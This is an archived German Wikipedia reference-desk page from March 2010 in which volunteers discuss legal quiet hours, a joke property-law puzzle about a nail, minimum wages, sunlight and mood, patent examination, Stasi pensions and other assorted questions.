Treffer! gefunden unter http://download.geonames.org/export/dump für GPS. Nun fehlen nur noch die PLZ! —[ˈjøːˌmaˑ] 21:06, 25. Mär. 2010 (CET) (Editiert —[ˈjøːˌmaˑ] 21:47, 25. Mär. 2010 (CET))[Beantworten]
PLZ von Lettland gibts auf http://www2.pasts.lv/en/uzzinas/nodalas/index-old.html . Allerdings keine Liste, sondern verteilt auf Unterseiten (ich schätze mal so 200 vielleicht?) --тнояsтеn 11:21, 26. Mär. 2010 (CET)[Beantworten]
Just die lettischen hab ich inzwischen als Tabelle (xls) gefunden; fehlen noch Estland und Litauen. Jemand 'n Tip? —[ˈjøːˌmaˑ] 14:25, 26. Mär. 2010 (CET)[Beantworten]

Abendruhe

bis wieviel Uhr Abends darf man in seiner Wohnung Löcher in die Wand bohren? --78.48.10.204 17:42, 25. Mär. 2010 (CET)[Beantworten]

bei guten Nachbarn rund um die Uhr, aber nur so lange wie sie gute Nachbarn sind, aber in der Regel sollte spätestens ab 9 Uhr Schluss sein --91.115.182.225 17:44, 25. Mär. 2010 (CET)[Beantworten]
Normalerweise ist so was in der Hausordnung festgelegt. Gruss, --Cú Faoil RM-RH 17:51, 25. Mär. 2010 (CET)[Beantworten]
...und die ist Teil des Mietvertrages, d.h. wird in ihm anerkannt. Es wird wohl auch eine Rolle spielen, wieviele Löcher man so bohrt. Bei einem Loch um halb 10 aus der Not heraus kommt man auch mit einem pädagogischen "Dudu" davon :) --84.191.60.120 18:17, 25. Mär. 2010 (CET)[Beantworten]
bei guten wohnungen auch rund um die Uhr, aber nur so lange bis man die schall-/wärme-dämmung abgetragen hat... --Heimschützenzentrum (?) 18:13, 25. Mär. 2010 (CET)[Beantworten]
Üblicherweise bis 22 Uhr. Die Hausordnung liegt meistens dem Mietvertrag bei. --20% 18:19, 25. Mär. 2010 (CET)[Beantworten]
Geregelt ist das im jeweiligen Landes-Immissionsschutzgesetz, und da steht (soviel ich weiß für alle Bundesländer) was von Nachtruhe zwischewn 22 und 6 Uhr. Ich glaube nicht, dass eine Hausordnung wirksam etwas anderes bestimmen kann. Joyborg 18:26, 25. Mär. 2010 (CET) PS: Drum heißts bei Badesalz ja auch "Günther komm vom Balkon, ´s is´ nach zehn!"[Beantworten]
Ja, kenne ich auch so (22-6 Uhr). -- Michael Kühntopf 18:28, 25. Mär. 2010 (CET)[Beantworten]
siehe auch Nachtruhe; ich bilde mir ein das ich schon mal eine Definition von; Beginn der Abendruhe = 21 Uhr und Nachtruhe 22 - 6 Uhr gehört habe, aber trotzdem 10 Uhr ist deadline ganz strikt vom Gesetz her, auch im Ösiland --91.115.182.225 18:27, 25. Mär. 2010 (CET)[Beantworten]

Und wenn du nett zu deinen Nachbarn sein willst, solltest du freiwillig nur zwischen 8 und 20 Uhr, besser noch zwischen 10 und 18 Uhr bohren. Rainer Z ... 18:35, 25. Mär. 2010 (CET)[Beantworten]

Habe eine Definition gefunden
  • Sonn- und Feiertage (Sonntagsruhe)

an Werktagen die Zeiten von

  • 12:30 Uhr bis 14:00 Uhr (Mittagsruhe)
  • 20:00 Uhr bis 22:00 Uhr (Abendruhe)
  • 22:00 Uhr bis 07:00 Uhr (Nachtruhe).

So oder so ähnlich zieht es sich durch Europa, ausser in Ländern in denen es eine Siesta gibt, gruß noch auf das sie auch morgen noch Ihre Nachbarn freundlich grüßen--91.115.182.225 18:37, 25. Mär. 2010 (CET)[Beantworten]

In Österreeich (bzw. zumindestens in Wien) sind Mittags- und Abendruhe z.B. bei den Hausordnungen nicht üblich. Eine allgemeine gesetzliche Regelung gibt's in Österreich soviel ich weiß nicht (mit speziellen genhemgungen darf man an Baustellen z.B. auch in der Nacht arbeiten und Lärm machen, allerdings weiß ich nicht, ob man solche Genehmigungen auch in Wohngebieten bekommt). Sonntagsruhe gibt's aber schon und am Sa ab 12:00 muss auch Ruhe sein. --MrBurns 18:52, 25. Mär. 2010 (CET)[Beantworten]
Und dann gibt es noch vereinzelt Leute, die ihre Kinder mittags schlafen lassen. Rainer Zs Vorschlag finde ich deshalb nicht so toll. --84.191.60.120 19:07, 25. Mär. 2010 (CET)[Beantworten]
@91.115... hat recht, wobei die Ruhezeiten offenbar kommunal unterschiedlich sind. Es kann auch schon ab 19 Uhr verboten sein, wie z.B. laut dieser Verordnung aus Göttingen: "(1) Ruhezeiten sind: (...) an Werktagen die Zeiten von 13 - 15 Uhr (Mittagsruhe), 19 - 22 Uhr (Abendruhe), 22 - 07 Uhr (Nachtruhe). (2) In bewohnten Gebieten sind während der Ruhezeiten mit starkem Geräusch verbundene Arbeiten verboten, insbesondere a) der Betrieb von Handwerksgeräten wie z.B. Sägen, Bohr- und Schleifmaschinen, Pumpen,(...)". Wobei sich das auf öffentliche Flächen bezieht. Joyborg 19:15, 25. Mär. 2010 (CET)[Beantworten]
Unser Nachbar hat mal einen Prozess verloren wegen Motorrasenmähens in der Mittagszeit; dabei stellte sich heraus, dass eine damit beauftragte Firma zwischen 13 und 14 Uhr den Rasen hätte mähen dürfen, der beim Nachbarn angestellte Gärtner/Hausmeister jedoch nicht. Gruß -- Dr.cueppers - Disk. 19:30, 25. Mär. 2010 (CET)[Beantworten]
Und nicht zu vergessen: Unser Artikel: Ruhestörung. -- 78.43.60.58 00:39, 26. Mär. 2010 (CET)[Beantworten]

A haut B einen Nagel in den Kopf. Wem gehört der Nagel?

Hallo,
die Frage ist aus Sterben verboten von Spiegel Online. Dort ist man aber die Antwort schuldig geblieben. Wie lautet denn die Antwort?
Viele Grüße --Marsupilami (Disk|Beiträge) 19:02, 25. Mär. 2010 (CET)[Beantworten]

Er wird als Tatwaffe beschlagnahmt? --Eike 19:04, 25. Mär. 2010 (CET) [Beantworten]
A muss an B so viel Schmerzensgeld zahlen, dass er den Nagel in Zahlung geben muss. --Sr. F 19:05, 25. Mär. 2010 (CET)[Beantworten]
Er ist Eigentum von A und befindet sich aber im Besitz von B. Dieser wird klugerweise ein Brett mit dem Nagel schmücken, womit er A öfters und schmerzvoller treffen kann.--93.202.176.162 19:07, 25. Mär. 2010 (CET)[Beantworten]
"Gehört" fragt nach dem Eigentum und nicht nach dem Besitz. Der Nagel gehört also dem Täter. Obwohl das Opfer die unmittelbare Verfügungsgewalt, also die Innehabung reklamieren kann, hat der Täter durch seine Tat diesen Teil der Tatwaffe dem Opfer nicht übereignet und schon garnicht diesbezüglich einen Vertrag geschlossen. --84.191.60.120 19:09, 25. Mär. 2010 (CET) Ergänzung --84.191.60.120 19:14, 25. Mär. 2010 (CET)[Beantworten]
Kann aber auch sein, dass der Täter den Nagel nur ausgeliehen und er dem Schwiegeropa gehörte und dieser den im Baumarkt noch nicht bezahlt hatte.--91.56.213.32 19:20, 25. Mär. 2010 (CET)[Beantworten]
Eigentumsübergang kann auch anders als durch Vertrag geschehen (man denke an Verbindung/Vermischung). Die Frage ist daher, ob der Nagel zum Bestandteil des Körpers wird wie ein Implantat - und ob das Opfer überlebt, denn künstliche Bestandteile des menschlichen Körpers können nach dem Tod wieder ihre Sach-Eigenschaft zurückgewinnen (und damit wieder eigentumsfähig werden: der menschliche Körper und seine Bestandteile, auch künstliche, sind nach überwiegender Meinung nicht eigentumsfähig).
Wenn der Nagel einfach nur die Tatwaffe ist, gehört er auch nach der Tat dem, dem er vorher gehört hat (Baumarkt, Schwiegeropa, Täter, ja sogar Opfer: alles denkbar). --Snevern (Mentorenprogramm) 19:29, 25. Mär. 2010 (CET)[Beantworten]
Ja, die Fragestellung ist da nicht präzise. Sollte es aber als Scherzfrage gemeint sein, wäre es hier allerdings Extremzeitraubing, oder? --84.191.60.120 19:32, 25. Mär. 2010 (CET)[Beantworten]
In der Zeitung stand mal eine fast identische Frage welche Jurastudenten im Rahmen ihres Studiums gestellt wurde: "Eine Frau erschießt mit ihrer Waffe, die sie rechtmäßig und mit Waffenschein besitzt, ihren Ehemann. Frage: Wem gehört die Kugel?" Die Antwort war: Dem Ehemann, denn durch das Abfeuern des Schusses ist ein Eigentümerwechsel eingetreten. Daraus folgt: Der Nagel gehört B, denn mit dem in den Kopf "haun" ist ebenso eine Eigentumsübertragung vonstatten gegangen. -- Wiprecht 21:02, 25. Mär. 2010 (CET)[Beantworten]
Eigentum geht nur durch Vertrag oder Gesetz über. Vertrag kann ausgeschlossen werden. Durch Gesetz bedeutet §§ 946 ff. BGB (Verbindung, Vermischung etc.) oder Ersitzung (abgesehen von bestimmten Erwerbsvorschriften zB. bei den Bienen, die aber im Grunde mit §§ 946 ff. übereinstimmen). Die sind auch auszuschließen, denn ein Nagel wird nicht Teil des Körpers. Implantate sind es auch, solange sie im Körper sind. Deshalb bleibt praktisch nur noch der originäre Erwerb von Eigentum. Durch das Einrammen des Nagels bzw. durch den Abschuss der Kugel derelinquiert der Eigentümer die Sache, womit sie herrenlos wird. Das Opfer erwirbt dann Eigentum nach § 958 I BGB, indem es die Sache in Eigenbesitz nimmt, also selbst die tatsächliche Gewalt über die Sache ausübt (vgl. § 854 I BGB). --92.226.84.186 21:37, 25. Mär. 2010 (CET)[Beantworten]
Evtl. hat der Täter dem Opfer bei der Tat den Nagel geschenkt? Konkludentes Handeln und man kann auf einen Vertrag verzichten? --91.64.64.166 23:43, 25. Mär. 2010 (CET)[Beantworten]
abw. wie abwegig... Wer einem anderen einen Nagel in den Kopp haut, hat Körperverletzungs- und evtl. Tötungsvorsatz, aber keine Schenkungsabsicht. Weil er sich nämlich über die Eigentumsverhältnisse nach lebensnaher Auslegung gar keine Gedanken macht. So. Und wenn der Nagel dauerhaft im Kopf stecken bleibt, verliert er seine Sacheigenschaft und damit seine Eigenschaft als Rechtsobjekt und wird Körperbestandteil des Opfers. Wenn er nur vorübergehend im Koppe steckt, bleibt er Sache und im Eigentum dessen, dem er auch vorher gehört hat. --Björn 23:50, 25. Mär. 2010 (CET)[Beantworten]
Als Service den § 958 BGB und seinen Kontext. Mir ist nicht ersichtlich, warum der Nagel durch das Einschlagen zwingend „eine herrenlose bewegliche Sache“ wird. Das Einschlagen des Nagels in den Kopf eines anderen muß nicht als diesbezügliche Willensbekundung des Eigentümers gelten, damit sein Eigentum an dem Nagel aufzugeben. Und wenn doch, auf welcher rechtlichen Grundlage sollte dies so zu interpretieren sein? --84.191.60.120 00:11, 26. Mär. 2010 (CET)[Beantworten]
Sagt mal, gibt es nicht bei Eigentumsverhältnissen irgendeinen Geringfügigkeitsvorbehalt? Wenn ich sehe, wie jemandem ein 500-Euro-Schein aus der Tasche fällt und den Schein mitnehme, ohne was zu sagen, ist das sicherlich Fundunterschlagung oder so. Aber wenn es um eine Zehn-Cent-Münze ohne Sammlerwert geht? Wenn ich im Restaurant Teller und Gläser mitnehme, ist das Diebstahl. Aber ein paar Zahnstocher mehr? Und wieviel ist der Nagel wert? BerlinerSchule. 00:19, 26. Mär. 2010 (CET)[Beantworten]
Gibt es im BGB nicht, auch wenn es bei einem Prozess vermutlich eine Rolle spielen würde (über die reine Schadenssumme, für wen auch immer). --20% 00:24, 26. Mär. 2010 (CET)[Beantworten]
Ein geringfügiger Wert ließe sich vielleicht aus § 965 BGB, Anzeigepflicht des Finders ableiten: „Ist die Sache nicht mehr als zehn Euro wert, [...]“ so erlischt beispielsweise die Anzeigepflicht eines Finders. Nur sehr wenige Nagelsorten sind pro Stück zehn oder mehr Euro wert. Ein gefundener Nagel würde somit unter normalen Umständen in das Eigentum des Finders übergehen.
Allerdings „findet“ ja das Opfer nicht in seinem Kopf einen „verlorenen“ Nagel sondern der Täter verbindet sozusagen sein Eigentum mit dem Kopf des Opfers. (Und bittesehr - wir wissen damit nicht, was hier schon von einigen unterstellt wird, ob es sich bei dem Nageln um einen bewußten Willensakt der Verletzung handelt oder ob wir über einen tragischen Unfall durch unglückliche Umstände sprechen, z.B. durch unsachgemäßen Einsatz eines pneumatischen Nagelschußgerätes!)
Es ist imho fraglich, ob die Tätigkeit des Verbindens (hier sicher als Mindestes eine fahrlässige schwere Körperverletzung) bzw. die Art der Verbindung (dauerhafte Verbindung durch einen Nagel) zum Verlust des Eigentums führt. Dabei sind auch die Charakteristika der Verbindung und ihre Lösbarkeit zu würdigen. Etwas weniger morbide wäre ein Szenario, in dem ein Mieter einen Nagel aus seinem Eigentum in die Wand einer Mietwohnung einschlägt. - Gehört der Nagel nun dem Vermieter? Ich denke nein, solange ein einfache Zange genügt, um den Nagel wieder an sich zu nehmen.
In beiden Fällen bedarf es eines weiteren Kenntniserhalts. In beiden Fällen ist denkbar und nicht ausgeschlossen, daß der Eigentümer seinen Nagel wiederhaben will und deshalb auf eine festere und dauerhaftere Verbindung verzichtet. Nageln kann auch in der Intention eine vorübergehende Form der Verbindung sein. Der Täter könnte z.B. in einem äußersten Fall, wenn er auch mit Vorsatz gehandelt hat, aus fetischistischen Neigungen heraus ein erhebliches Interesse an der Wiedererlangung seines Nagels haben. (Dies wäre dann neben der in diesem Kontext denkbaren Befriedigung des Geschlechtstriebs und der Grausamkeit ein weiterer niedriger Beweggrund, der als Grundlage für eine Mordanklage herhalten könnte). --84.191.60.120 01:49, 26. Mär. 2010 (CET)[Beantworten]
@92.226.84.186: Ich denke, einen Nagel in einen Kopf nageln bedeutet nicht zwingend das Derelinquieren der Sache. Das Opfer nimmt nicht aktiv die Sache in seinen Eigenbesitz (§ 958 I BGB). Das Opfer ist passiv und vermutlich auch desinteressiert an der Sache (also der Inbesitznahme des Nagels, zumindest in der vorliegenden Form). Der Täter gibt auch seinen Besitz nach § 856 II BGB nicht auf: „Durch eine ihrer Natur nach vorübergehende Verhinderung in der Ausübung der Gewalt wird der Besitz nicht beendigt.“ Ein Täter, der sein Messer losgelassen hat, welches nun im Körper des Opfers steckt, stiehlt dem Opfer nicht das Messer, indem er es wieder herauszieht. Daß es der Natur einer Kugel mitnichten entspricht, nach dem Schuß nur vorübergehend der Ausübung der tatsächlichen Gewalt durch den Schützen entzogen zu sein, kann ich allerdings folgen. Insofern stimme ich mit der Schlußfolgerung von Wiprecht nicht überein. --84.191.60.120 02:52, 26. Mär. 2010 (CET)[Beantworten]

Gab es je Abgründigeres HIER in der WIKIPEDIA-Auskunft? -- Grottenolm 00:25, 26. Mär. 2010 (CET)[Beantworten]

A schlägt B mit einem Beil den Kopf ab. Wem gehört der Kopf? --20% 00:28, 26. Mär. 2010 (CET)[Beantworten]
Dem Leichenbeschauer der Gerichtsmedizin. -jkb- 00:31, 26. Mär. 2010 (CET)[Beantworten]
Der hat vermutlich selbst einen. (Nein, auch wenn er ihn zeitweilig in Besitz nimmt.) --20% 00:38, 26. Mär. 2010 (CET)[Beantworten]
Schade, dass jemand den "Laichenbeschauer" korrigiert hat. Der war zu schön, so gleichzeitig an beiden Ecken des Lebens, denn a Laich is koa Leich'. Laich wird dann Kaulquappe, später Frosch. Bei der Leich' wird das nichts mehr, so mit ohne Kopf...
BerlinerSchule. 00:44, 26. Mär. 2010 (CET)[Beantworten]
Vor allem, weil die Frösche zuweilen etwas kopflos leichen, ehm laichen ... -jkb- 00:47, 26. Mär. 2010 (CET)[Beantworten]
Eine gewisse, äh, Kopflosigkeit ist da doch speziesübergreifend am Werk, oder? --20% 02:02, 26. Mär. 2010 (CET)[Beantworten]
"Nageln kann auch in der Intention eine vorübergehende Form der Verbindung sein." Wie wahr, wie wahr... SCNR --Jossi 08:24, 26. Mär. 2010 (CET)[Beantworten]
Ich habe geahnt, daß das kommt, aber es war schon so spät und ich hatte schon so viel herumgeändert, daß ich es drauf ankommen lassen wollte. Du hast den Preis. :) --84.191.48.132 11:18, 26. Mär. 2010 (CET) [Beantworten]
Ich möchte - im Zusammenhang mit diesem Thema - auf den (eine gute Chance habendenden "Lesenswert" zu werdenden) Artikel Eigentumstheorien hinweisen. Die Beantwortung der Frage kann also durchaus davon abhängen, ob man dabei an Thomas von Aquin, David Hume, Karl Marx oder Elliot Spencer denkt. Schönes Wochenende. G! GG nil nisi bene 08:44, 26. Mär. 2010 (CET)[Beantworten]

für mich hört sich das sehr deutlich nach einer Schenkung an *g* 217.227.103.33 22:36, 26. Mär. 2010 (CET)[Beantworten]

Mindestlöhne in Ost und West

Hallo! Warum werden immer noch unterschiedliche Mindestlöhne für West- und Ostdeutschland beschlossen? --Verwaltungsgliederung 19:10, 25. Mär. 2010 (CET)[Beantworten]

Ich denke mal, das hat mitd er unterschiedlichen wirtschaftlichen Situation zu tun. Im Osten ist auch die Arbeitslosenquote viel höher. --MrBurns 19:13, 25. Mär. 2010 (CET)[Beantworten]
sowie sind Löhne, Gehälter, Renten, Sozialleistungen, z.T. auch Lebenshaltungskosten (vor allem Miete) etc geringer. Hat sicherlich was mit dem Lohnabstandsgebot zu tun. Ob das heute noch gerechtfertigt ist, ist allerdings wohl eine andere Frage----Zaphiro Ansprache? 19:19, 25. Mär. 2010 (CET)[Beantworten]
...also nicht, dass jetzt einer denkt, die Arbeitskraft eines Ossis sei weniger wert als die eines Wessis... --Snevern (Mentorenprogramm) 19:31, 25. Mär. 2010 (CET) [Beantworten]
Arbeitsproduktivität war sicherlich ein Thema nach der Wende, weniger wegen angeblicher Faulheit, eher wg der noch fehlenden Infrastruktur, Abwanderung Qualifizierter sowie höheren Arbeitslosigkeit im Osten etc pp , vgl etwa auch Lohnschere#Ursachen_der_Lohnspreizung, offenbar wird dies sich aber wohl aufgrund der Arbeitslosigkeit nicht so schnell ändern, vgl etwa [23]----Zaphiro Ansprache? 20:11, 25. Mär. 2010 (CET)[Beantworten]
Zum Thema passend gibt es noch dieses hier. -- Wiprecht 21:11, 25. Mär. 2010 (CET)[Beantworten]
das hatte ich ach mit Schmunzeln gelesen, da sag ich nur typisch deutsche Bürokratie ;-)----Zaphiro Ansprache? 01:12, 26. Mär. 2010 (CET)[Beantworten]
Aber war nicht irgendwie das Ziel, die Löhne und Preise in Ost und West anzugleichen? --Verwaltungsgliederung 20:52, 26. Mär. 2010 (CET)[Beantworten]

Sonnenlicht und gute Laune

Etwas was man in den letzten Tagen sicherlich sehr gut beobachten konnte ist die gute Laune der Kollegen. Sicherlich hängt das mit der Sonne zusammen und wie lange sie auf uns einwirkt, weil das - habe ich mir sagen lassen- chemische Stoffwechselreaktionen im Gehirn auslöst und ein Glückshormon ausgeschüttet wird. Es ist schon erstaunlich was für eine Stimmungsänderung das Licht bewirken kann (wird ja auch als Therapie bei Depressionen benutzt). Daher die Frage: Nehmen wir an wir hätten das ganze Jahr über Sonne - ist das Sonnenlicht dann die ganze Zeit ein glücklich-machender Faktor? Oder macht das Sonnenlicht uns glücklich eben weil wir im Kontrast vorher so eine Dunkelphase wie den Winter hinter uns hatten? Anders gesagt: Bedingt die Dunkelheit das Wohlfühlen im Licht? oder ist es mehr die Gleichung: Menge xyz Lichteinwirkung -> Menge xyz chemischer Glückshormone im Gehirn (also eher absolut). Interssant wären hierbei auch Studien von Menschen wie da oben in Norwegen bei denen tagelang die Sonne scheint oder derartiges. Oder wieder anders gefragt: Brauchen wir Dunkelheit? --Bitte&Danke 19:18, 25. Mär. 2010 (CET)[Beantworten]

ja zum (gesunden) Schlaf, Melatonin wird bei Dunkelheit ausgeschüttet und die Dunkelheit dient dann im Wechsel mit Licht als Zeitgeber, vgl etwa auch Jetlag----Zaphiro Ansprache? 19:32, 25. Mär. 2010 (CET)[Beantworten]
(Bearbeitungskonflikt) Sowohl als auch. Licht wirkt generell stimmungsaufhellend. In Breiten wie unseren, wo sich die Jahreszeiten deutlicher bemerkbar machen als z. B. in Zentralafrika, kommt sicher noch der Unterschied dazu, das „Es geht aufwärts!“ Die Absenkung des Melatoninspiegels spielt da wohl eine zentrale Rolle.
Dunkelheit brauchen wir sicherlich. Möglichst einmal täglich für einige Stunden. Sonst wird das dauerhaft nix mit dem erholsamen Schlaf und man wird früher oder später gaga. Rainer Z ... 19:39, 25. Mär. 2010 (CET)[Beantworten]
Nachtrag: vor kurzem habe ich irgendwo gelesen (Tageszeitung oder Internet), dass dies auch biologische und evolutionäre Gründe hat, dass es Frühlingsgefühle (im Tierreich wohl eher Brunft) gibt, rein wegen der Nahrungsversorgung von Schwangeren/Trächtigen in den Sommermonaten ;-)----Zaphiro Ansprache? 22:12, 25. Mär. 2010 (CET)[Beantworten]
Hier ein Artikel aus der NY Times, der erläutert, was für ein Knaller richtiges Sonnenlicht ist, dass der Einfluss stärker bei den "deprived" (z.B. Finnen) ist und das der Homo indooris noch nicht auf das richtige Sonnenlicht verzichten kann. Finnland hat ja eine hohe Selbsttötungsrate. Man sollte mal nachsehen, ob Menschen in sonnigeren Gefilden wirklich immer besser drauf sind, als Menschen in eher dunkelen Ländern. Mit sonnigem Gemüte G! GG nil nisi bene 23:51, 25. Mär. 2010 (CET)[Beantworten]
Ich bezweifle, dass die depressive Stimmung in den Flüchtlingslagern und AIDS-Hospizen Afrikas mit der Sonneneinstrahlung irgendwas zu tun hat. --Sr. F 08:35, 26. Mär. 2010 (CET)[Beantworten]
Was glaubst du wie schlecht die erst drauf wären wenns jeden Tag regnen würde? ;) ... --81.200.198.20 10:10, 26. Mär. 2010 (CET)[Beantworten]
Auch die Selbstmordrate (nach Ländern) gibt keinen Aufschluss, da bei direkter Bedrohung von aussen, die SMR sinkt. Was der NYT-Artikel nahe legt, ist dass der Effekt bei Ländern, in denen ein deutlicherer Übergang Dunkel => Sonnig erfolgt, auch die Auswirkungen deutlicher festzustellen sind. G! GG nil nisi bene 11:08, 26. Mär. 2010 (CET)[Beantworten]
+ 1 @Sr. F: Ich habe fast drei Jahre meines Lebens an einem Ort namens Andacollo im nördlichen Chile gelebt. Da hat es im Jahr höchstens fünf Tage geregnet und es gab da nur zwei "Jahreszeiten" (tags über heiß, und nachts über eisig, haha). Spätestens nach einem Jahr wird es echt nervig, wenn jeden (verdammten) Tag die Sonne scheint! Die Finnen sind vielleicht depressiv im Winter, aber dafür können sie dann im Sommer auch manisch werden! Wüstenbewohner werden wahrscheinlich nur depressiv... Geoz 16:39, 26. Mär. 2010 (CET)[Beantworten]

Fahrer von Helmut Kohl

Anlässlich des sich nähernden Geburtstages von Kohl häufen sich die Berichte über ihn und sein Umfeld. Darin war auch zu lesen, dass sein Fahrer Ecki Seeber ihn über 40 Jahre lang als Fahrer begleitet hat. Mich würde in diesem Zusammenhang einzig interessieren (Polemiken und sonstiges über den Jubilar könnt ihr euch sparen), bei wem dieser Fahrer angestellt war - war er ein Angestellter von Kohl, der Polizei, des Landes/Bundes? Freue mich über Kommentare und Antworten, die mit dem Thema zu tun haben und/oder von Fachkenntnis zeugen. Danke! --84.164.90.63 19:43, 25. Mär. 2010 (CET)[Beantworten]

Er war zuerst bei Kohl selbst beschäftigt, dann beim Land Rheinland-Pfalz, später beim Kanzleramt. Seine Dienstherren wechselten je nach Karriereentwicklung seines Passagiers. --Snevern (Mentorenprogramm) 19:50, 25. Mär. 2010 (CET)[Beantworten]
steht auch hier, sein Chef war dann der Kanzleramtsminister und heutige Innenminister. Sein erster Arbeitsgeber war offenbar Udo Giulini. Ecki (mein Namensvetter;-) ist aber nun im Ruhestand, vgl [24]----Zaphiro Ansprache? 19:54, 25. Mär. 2010 (CET)[Beantworten]
Giulini war der Arbeitgeber, bevor er Kohl fuhr. --Snevern (Mentorenprogramm) 20:09, 25. Mär. 2010 (CET)[Beantworten]
so meinte ich es auch, er wurde aber von ihn an Kohl „ausgeliehen“ ;-)----Zaphiro Ansprache? 20:12, 25. Mär. 2010 (CET)[Beantworten]

Was genau prüft das Patentamt vor einer Patenterteilung?

Anlässlich einer Löschdiskussion, in der eine Patenterteilung als Relevanznachweis angeführt wird, habe ich die o.g. Frage. Mein Eindruck aus der Vergangenheit: die prüfen, ob es grundsätzlich funktionieren kann und ob keine bestehenden Patente verletzt werden. Nicht geprüft wird, ob die Erfindung tatsächlich wirtschaftlich verwertbar ist. Kann jemand mit Fachkenntnis meine Vermutung bestätigen oder widerlegen? --93.211.12.9 20:04, 25. Mär. 2010 (CET)[Beantworten]

§ 5 Patentgesetz: "Eine Erfindung gilt als gewerblich anwendbar, wenn ihr Gegenstand auf irgendeinem gewerblichen Gebiet einschließlich der Landwirtschaft hergestellt oder benutzt werden kann."
Das muss also zumindest theoretisch möglich sein, damit ein Patent erteilt werden kann, und wird in diesem (bescheidenen) Umfang vom Patentamt auch geprüft.
Ob man damit Geld verdienen kann, spielt dagegen keine Rolle. --Snevern (Mentorenprogramm) 20:22, 25. Mär. 2010 (CET)[Beantworten]
wenn es auf irgendeinem gebiet hergestellt werden kann - also außer dinge wie einem perpetuum mobile dürfte das auf das meiste zutreffen oder? ...Sicherlich Post 20:27, 25. Mär. 2010 (CET)[Beantworten]
...einem gewerblichen Gebiet. Und ohne Zweifel würde das auf ein perpetuum mobile selbstverständlich auch zutreffen. --Snevern (Mentorenprogramm) 20:43, 25. Mär. 2010 (CET)[Beantworten]
(nach BK) Das ist interessant: ein perpetuum mobile ist also nach deutschem Recht patentierbar? Und herstellbar bedeutet nicht, daß es funktioniert wie vorgesehen? --93.211.12.9 21:01, 25. Mär. 2010 (CET)[Beantworten]
Es sind auch schon Sachen patentiert worden, die gar nicht funktionieren können. -- Martin Vogel 20:58, 25. Mär. 2010 (CET)[Beantworten]
Das perpetuum mobile wäre patentierbar, wenn es erfunden würde, ja - warum auch nicht?
Hast du ein Beispiel für ein Patent auf eine Erfindung, die nicht funktionieren kann, Martin? --Snevern (Mentorenprogramm) 22:27, 25. Mär. 2010 (CET)[Beantworten]
In der Darmstädter Patentauslegestelle habe ich mal beim Herumstöbern ein erteiltes Patent gefunden für eine große Gipsspritze (wie eine Sahnespritze zum Torten verzieren); das stammte noch aus der Zeit, als man mit Gipsdübeln arbeitete: Im Zeitraum, bis man die fertig gefüllt hatte oder spätestens nach Anwendung am zweiten Bohrloch war die Spritze samt restlichem versteinerten Inhalt nur noch zum Wegwerfen geeignet. Gruß -- Dr.cueppers - Disk. 23:01, 25. Mär. 2010 (CET)[Beantworten]
Ein Perpetuum Mobile ist nicht patentierbar, und zwar darum, weil die meisten patentrechtlichen Gesetze eine solche Patentierung explizit ausschliessen. Mehr dazu unter Perpetuum Mobile#Trivia. Gruss, --Cú Faoil RM-RH 01:48, 26. Mär. 2010 (CET)[Beantworten]

KuKluxKlan & US-Präsident - Hilfe zu Internetquelle benötigt

Ich bin bei Recherchen zu Warren G. Harding (29. Präsident der USA) auf eine Seite gestoßen, die behauptet, er sei KKK Mitglied gewesen. Ich weiß nicht, was von der Seite zu halten ist und hätte gerne Eure Meinung dazu gehört. Ich weiß, schon die Adresse klingt übel- aber ich kann die Seite echt nicht einschätzen. Für Hilfe wäre ich also sehr dankbar. Hier mal die Seite http://www.kkklan.com/wall.htm Gruß --79.197.18.68 20:47, 25. Mär. 2010 (CET)[Beantworten]

Die engl. WP schreibt was, hier: en:Ku Klux Klan members in United States politics#Warren G. Harding. -- Martin Vogel 20:56, 25. Mär. 2010 (CET)[Beantworten]
thx- da ärgere ich mich ja doch ein wenig, das nicht selbst gefunden zu haben.

Kannst Du mir sagen, was Du von dem link hältst? --79.197.18.68 21:19, 25. Mär. 2010 (CET)[Beantworten]

Warum bezeichnen sich die KKK-Führer eigentlich als Wizard - Zauberer, obwohl sie doch fundamental-protestantischer Gesinnung sind?--KunzSN 22:30, 25. Mär. 2010 (CET)[Beantworten]

Geheimbünde. Man kann beschränkt und phantasievoll sein. Sie haben auch die Titel "grand wizard", "grand dragon", "grand titan" "grand cyclopse"(!), also griechische Mythologie und Märchen wild gemischt. G! GG nil nisi bene 23:36, 25. Mär. 2010 (CET)[Beantworten]
Naja, die ganze Verkleidung und das Brimborium war ja angeblich dazu gedacht um die Sklaven zu erschrecken und einzuschüchtern, und die wurden von den Fundametal-Protestanten als kindisch, dumm und abergläubisch betrachtet. Wahrscheinlich liegt hier ein ähnlicher Prozess vor, wie bei Karnevalsprinzen. Da diente Verkleidung zunächst auch dazu, sich über andere lustig zu machen. Mittlerweile nehmen sie ihr "Amt" aber bitterernst... Ugha-ugha 08:17, 26. Mär. 2010 (CET)[Beantworten]

Unrechtsrente?

Bekommen hauptamtliche Stasimitarbeiter, oder z.B. Volkskammermitglieder eine Rente/Pension gemäß ihres Gehaltes in der BRD ? --77.2.129.173 21:32, 25. Mär. 2010 (CET)[Beantworten]

wenn nicht von gerade von Mac Donalds gibt es zumindest Rentenkürzungen, Zitat daraus: "Die ehemaligen Mitarbeiter der Stasi erhalten seit der Wiedervereinigung nur eine gekürzte Rente, die der Durchschnittsrente eines DDR-Arbeitnehmers entsprach. "----Zaphiro Ansprache? 23:23, 25. Mär. 2010 (CET)[Beantworten]

Vererbbare Genmanipulation

Wenn ich per Genmanipulation die Augenfarbe meines Kindes ändere. Vererbt dieses dann seine Augenfarbe an seine Nachkommen weiter? --85.181.216.8 21:57, 25. Mär. 2010 (CET)[Beantworten]

Erst mal musst du mir erklären, wie du per Genmanipulation die Augenfarbe deines Kindes ändern kannst. Soweit ich weiß, geht das nämlich gar nicht. --Sr. F 22:08, 25. Mär. 2010 (CET)[Beantworten]
Wir nehmen einfach an das ginge. So wie bei Fruchtfliegen. --85.181.216.8 22:11, 25. Mär. 2010 (CET)[Beantworten]
Aber:
Wenn die Gene in den entsprechenden Augenzellen manipuliert werden, ändert sich zwar deren Farbe, aber es erfolgt keine Vererbung.
Wenn die Gene in den Keimzellen entsprechend verändert werden, ändert sich die Augenfarbe des Kindes nicht, aber die der Nachkommen.
Gruß -- Dr.cueppers - Disk. 22:13, 25. Mär. 2010 (CET)[Beantworten]
Thx. Dann nehmen wir doch die dunkelhaarigen Kinder. --85.181.216.8 23:40, 25. Mär. 2010 (CET)[Beantworten]
Siehe auch Keimbahntherapie. Gruss, --Cú Faoil RM-RH 01:49, 26. Mär. 2010 (CET)[Beantworten]

Ist HIV / AIDS eine Strafe Gottes?

